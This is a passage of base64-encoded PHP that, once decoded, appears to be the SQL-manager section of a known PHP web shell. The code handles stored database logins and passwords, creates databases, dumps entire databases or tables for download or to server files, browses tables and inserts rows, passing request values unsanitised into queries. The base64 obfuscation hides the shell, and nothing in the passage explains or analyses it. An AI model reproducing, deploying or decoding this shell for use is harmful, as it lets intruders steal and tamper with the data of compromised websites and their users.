YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNxbF9jb25maXJtXCIgdmFsdWU9XCJZZXNcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9CiAgIH0KICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkKICAgewogICAgPz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5ldyB0YWJsZTo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0ibmV3dGJsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3dGJsIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+RHVtcCBEQjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0iZHVtcCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZHVtcF9maWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gImR1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPSJEdW1wIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT48P3BocAogICAgaWYgKCFlbXB0eSgkc3FsX2FjdCkpIHtlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7fQogICAgaWYgKCRzcWxfYWN0ID09ICJuZXd0YmwiKQogICAgewogICAgIGVjaG8gIjxiPiI7CiAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHtlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iOwogICAgfQogICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQogICB9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gImR1bXAiKQogICB7CiAgICBpZiAoZW1wdHkoJHN1Ym1pdCkpCiAgICB7CiAgICAgJGRpcGxheSA9IEZBTFNFOwogICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwiZHVtcFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48Yj5TUUwtRHVtcDo8L2I+PGJyPjxicj4iOwogICAgIGVjaG8gIjxiPkRCOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkc3FsX2RiKS4iXCI+PGJyPjxicj4iOwogICAgICR2ID0gam9pbiAoIjsiLCRkbXB0YmxzKTsKICAgICBlY2hvICI8Yj5Pbmx5IHRhYmxlcyAoZXhwbG9kZSBcIjtcIikmbmJzcDs8Yj48c3VwPjE8L3N1cD48L2I+OjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZG1wdGJsc1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdikrNSkuIlwiPjxicj48YnI+IjsKICAgICBpZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVtcF9maWxlO30KICAgICBlbHNlIHskdG1wID0gaHRtbHNwZWNpYWxjaGFycygiLi9kdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIik7fQogICAgIGVjaG8gIjxiPkZpbGU6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpemU9XCIiLihzdHJsZW4oJHRtcCkrc3RybGVuKCR0bXApICUgMzApLiJcIj48YnI+PGJyPiI7CiAgICAgZWNobyAiPGI+RG93bmxvYWQ6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX2Rvd25sb2FkXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPiI7CiAgICAgZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9zYXZldG9maWxlXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD4iOwogICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJEdW1wXCI+PGJyPjxicj48Yj48c3VwPjE8L3N1cD48L2I+IC0gYWxsLCBpZiBlbXB0eSI7CiAgICAgZWNobyAiPC9mb3JtPiI7CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgJGRpcGxheSA9IFRSVUU7CiAgICAgJHNldCA9IGFycmF5KCk7CiAgICAgJHNldFsic29jayJdID0gJHNxbF9zb2NrOwogICAgICRzZXRbImRiIl0gPSAkc3FsX2RiOwogICAgICRkdW1wX291dCA9ICJkb3dubG9hZCI7CiAgICAgJHNldFsicHJpbnQiXSA9IDA7CiAgICAgJHNldFsibmwyYnIiXSA9IDA7CiAgICAgJHNldFsiIl0gPSAwOwogICAgICRzZXRbImZpbGUiXSA9ICRkdW1wX2ZpbGU7CiAgICAgJHNldFsiYWRkX2Ryb3AiXSA9IFRSVUU7CiAgICAgJHNldFsib25seXRhYnMiXSA9IGFycmF5KCk7CiAgICAgaWYgKCFlbXB0eSgkZG1wdGJscykpIHskc2V0WyJvbmx5dGFicyJdID0gZXhwbG9kZSgiOyIsJGRtcHRibHMpO30KICAgICAkcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsKICAgICBpZiAoJHNxbF9kdW1wX2Rvd25sb2FkKQogICAgIHsKICAgICAgQG9iX2NsZWFuKCk7CiAgICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKICAgICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHJldCkpOwogICAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNlbmFtZSgkc3FsX2R1bXBfZmlsZSkuIlwiOyIpOwogICAgICBlY2hvICRyZXQ7CiAgICAgIGV4aXQ7CiAgICAgfQogICAgIGVsc2VpZiAoJHNxbF9kdW1wX3NhdmV0b2ZpbGUpCiAgICAgewogICAgICAkZnAgPSBmb3Blbigkc3FsX2R1bXBfZmlsZSwidyIpOwogICAgICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgZndyaXRlKCRmcCwkcmV0KTsKICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgZWNobyAiPGI+RHVtcGVkISBEdW1wIGhhcyBiZWVuIHdyaXRlZCB0byBcIiIuaHRtbHNwZWNpYWxjaGFycyhyZWFscGF0aCgkc3FsX2R1bXBfZmlsZSkpLiJcIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJHNxbF9kdW1wX2ZpbGUpKS4iKTwvYj4uIjsKICAgICAgfQogICAgIH0KICAgICBlbHNlIHtlY2hvICI8Yj5EdW1wOiBub3RoaW5nIHRvIGRvITwvYj4iO30KICAgIH0KICAgfQogICBpZiAoJGRpcGxheSkKICAgewogICAgaWYgKCFlbXB0eSgkc3FsX3RibCkpCiAgICB7CiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2FjdCkpIHskc3FsX3RibF9hY3QgPSAiYnJvd3NlIjt9CiAgICAgJGNvdW50ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOwogICAgICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7CiAgICAgJHRibF9zdHJ1Y3RfcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgRklFTERTIEZST00gYCIuJHNxbF90YmwuImA7Iik7CiAgICAgJHRibF9zdHJ1Y3RfZmllbGRzID0gYXJyYXkoKTsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCR0Ymxfc3RydWN0X3Jlc3VsdCkpIHskdGJsX3N0cnVjdF9maWVsZHNbXSA9ICRyb3c7fQogICAgIGlmICgkc3FsX2xzID4gJHNxbF9sZSkgeyRzcWxfbGUgPSAkc3FsX2xzICsgJHBlcnBhZ2U7fQogICAgIGlmIChlbXB0eSgkc3FsX3RibF9wYWdlKSkgeyRzcWxfdGJsX3BhZ2UgPSAwO30KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbHMpKSB7JHNxbF90YmxfbHMgPSAwO30KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbGUpKSB7JHNxbF90YmxfbGUgPSAzMDt9CiAgICAgJHBlcnBhZ2UgPSAkc3FsX3RibF9sZSAtICRzcWxfdGJsX2xzOwogICAgIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30KICAgICAkbnVtcGFnZXMgPSAkY291bnRfcm93WzBdLyRwZXJwYWdlOwogICAgICRlID0gZXhwbG9kZSgiICIsJHNxbF9vcmRlcik7CiAgICAgaWYgKGNvdW50KCRlKSA9PSAyKQogICAgIHsKICAgICAgaWYgKCRlWzBdID09ICJkIikgeyRhc2NfZGVzYyA9ICJERVNDIjt9CiAgICAgIGVsc2UgeyRhc2NfZGVzYyA9ICJBU0MiO30KICAgICAgJHYgPSAiT1JERVIgQlkgYCIuJGVbMV0uImAgIi4kYXNjX2Rlc2MuIiAiOwogICAgIH0KICAgICBlbHNlIHskdiA9ICIiO30KICAgICAkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCAiLiR2LiJMSU1JVCAiLiRzcWxfdGJsX2xzLiIgLCAiLiRwZXJwYWdlLiIiOwogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7CiAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRhYmxlICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIiAoIi5teXNxbF9udW1fZmllbGRzKCRyZXN1bHQpLiIgY29scyBhbmQgIi4kY291bnRfcm93WzBdLiIgcm93cyk8L2I+PC9jZW50ZXI+IjsKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9c3RydWN0dXJlXCI+WyZuYnNwOzxiPlN0cnVjdHVyZTwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PWJyb3dzZVwiPlsmbmJzcDs8Yj5Ccm93c2U8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfYWN0PXRibGR1bXAmdGhpc3RibD0xXCI+WyZuYnNwOzxiPkR1bXA8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1pbnNlcnRcIj5bJm5ic3A7PGI+SW5zZXJ0PC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJzdHJ1Y3R1cmUiKSB7ZWNobyAiPGJyPjxicj48Yj5Db21pbmcgc29vb24hPC9iPiI7fQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gImluc2VydCIpCiAgICAgewogICAgICBpZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30KICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKQogICAgICB7CgogICAgICB9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgZWNobyAiPGJyPjxicj48Yj5JbnNlcnRpbmcgcm93IGludG8gdGFibGU6PC9iPjxicj4iOwogICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpCiAgICAgICB7CiAgICAgICAgJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsKICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgV0hFUkUiLiRzcWxfdGJsX2luc2VydF9xOwogICAgICAgICRzcWxfcXVlcnkgLj0gIiBMSU1JVCAxOyI7CiAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7CiAgICAgICAgJHZhbHVlcyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpOwogICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgICAgfQogICAgICAgZWxzZSB7JHZhbHVlcyA9IGFycmF5KCk7fQogICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48Yj5GaWVsZDwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkZ1bmN0aW9uPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOwogICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkKICAgICAgIHsKICAgICAgICAkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsKICAgICAgICBpZiAoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7JHYgPSAiIjt9CiAgICAgICAgZWNobyAiPHRyPjx0ZD48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiI8L2I+PC90ZD48dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD48dGQ+PHNlbGVjdCBuYW1lPVwic3FsX3RibF9pbnNlcnRfZnVuY3RzWyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIj48b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+PG9wdGlvbj5QQVNTV09SRDwvb3B0aW9uPjxvcHRpb24+TUQ1PC9vcHRpb24+PG9wdGlvbj5FTkNSWVBUPC9vcHRpb24+PG9wdGlvbj5BU0NJSTwvb3B0aW9uPjxvcHRpb24+Q0hBUjwvb3B0aW9uPjxvcHRpb24+UkFORDwvb3B0aW9uPjxvcHRpb24+TEFTVF9JTlNFUlRfSUQ8L29wdGlvbj48b3B0aW9uPkNPVU5UPC9vcHRpb24+PG9wdGlvbj5BVkc8L29wdGlvbj48b3B0aW9uPlNVTTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJcIj4tLS0tLS0tLTwvb3B0aW9uPjxvcHRpb24+U09VTkRFWDwvb3B0aW9uPjxvcHRpb24+TENBU0U8L29wdGlvbj48b3B0aW9uPlVDQVNFPC9vcHRpb24+PG9wdGlvbj5OT1c8L29wdGlvbj48b3B0aW9uPkNVUkRBVEU8L29wdGlvbj48b3B0aW9uPkNVUlRJTUU8L29wdGlvbj48b3B0aW9uPkZST01fREFZUzwvb3B0aW9uPjxvcHRpb24+RlJPTV9VTklYVElNRTwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0FERDwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0RJRkY8L29wdGlvbj48b3B0aW9uPlRPX0RBWVM8L29wdGlvbj48b3B0aW9uPlVOSVhfVElNRVNUQU1QPC9vcHRpb24+PG9wdGlvbj5VU0VSPC9vcHRpb24+PG9wdGlvbj5XRUVLREFZPC9vcHRpb24+PG9wdGlvbj5DT05DQVQ8L29wdGlvbj48L3NlbGVjdD48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9pbnNlcnRbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2YWx1ZXNbJG5hbWVdKS4iXCIgc2l6ZT01MD48L3RkPjwvdHI+IjsKICAgICAgICAkaSsrOwogICAgICAgfQogICAgICAgZWNobyAiPC90YWJsZT48YnI+IjsKICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsKICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9CiAgICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPiI7CiAgICAgIH0KICAgICB9CiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAiYnJvd3NlIikKICAgICB7CiAgICAgICRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsKICAgICAgJHNxbF90YmxfbGUgPSBhYnMoJHNxbF90YmxfbGUpOwogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAgICAgIGVjaG8gIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9bXVsdGlwYWdlXCIgaGVpZ2h0PVwiMTJcIiB3aWR0aD1cIjEwXCIgYWx0PVwiUGFnZXNcIj4mbmJzcDsiOwogICAgICAkYiA9IDA7CiAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKQogICAgICB7CiAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF9vcmRlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIiZzcWxfdGJsX2xzPSIuKCRpKiRwZXJwYWdlKS4iJnNxbF90YmxfbGU9Ii4oJGkqJHBlcnBhZ2UrJHBlcnBhZ2UpLiJcIj48dT4iO30KICAgICAgIGVjaG8gJGk7CiAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30KICAgICAgIGlmICgoJGkvMzAgPT0gcm91bmQoJGkvMzApKSBhbmQgKCRpID4gMCkpIHtlY2hvICI8YnI+Ijt9CiAgICAgICBlbHNlIHtlY2hvICImbmJzcDsiO30KICAgICAgfQogICAgICBpZiAoJGkgPT0gMCkge2VjaG8gImVtcHR5Ijt9CiAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9vcmRlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiJcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xlLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOwogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9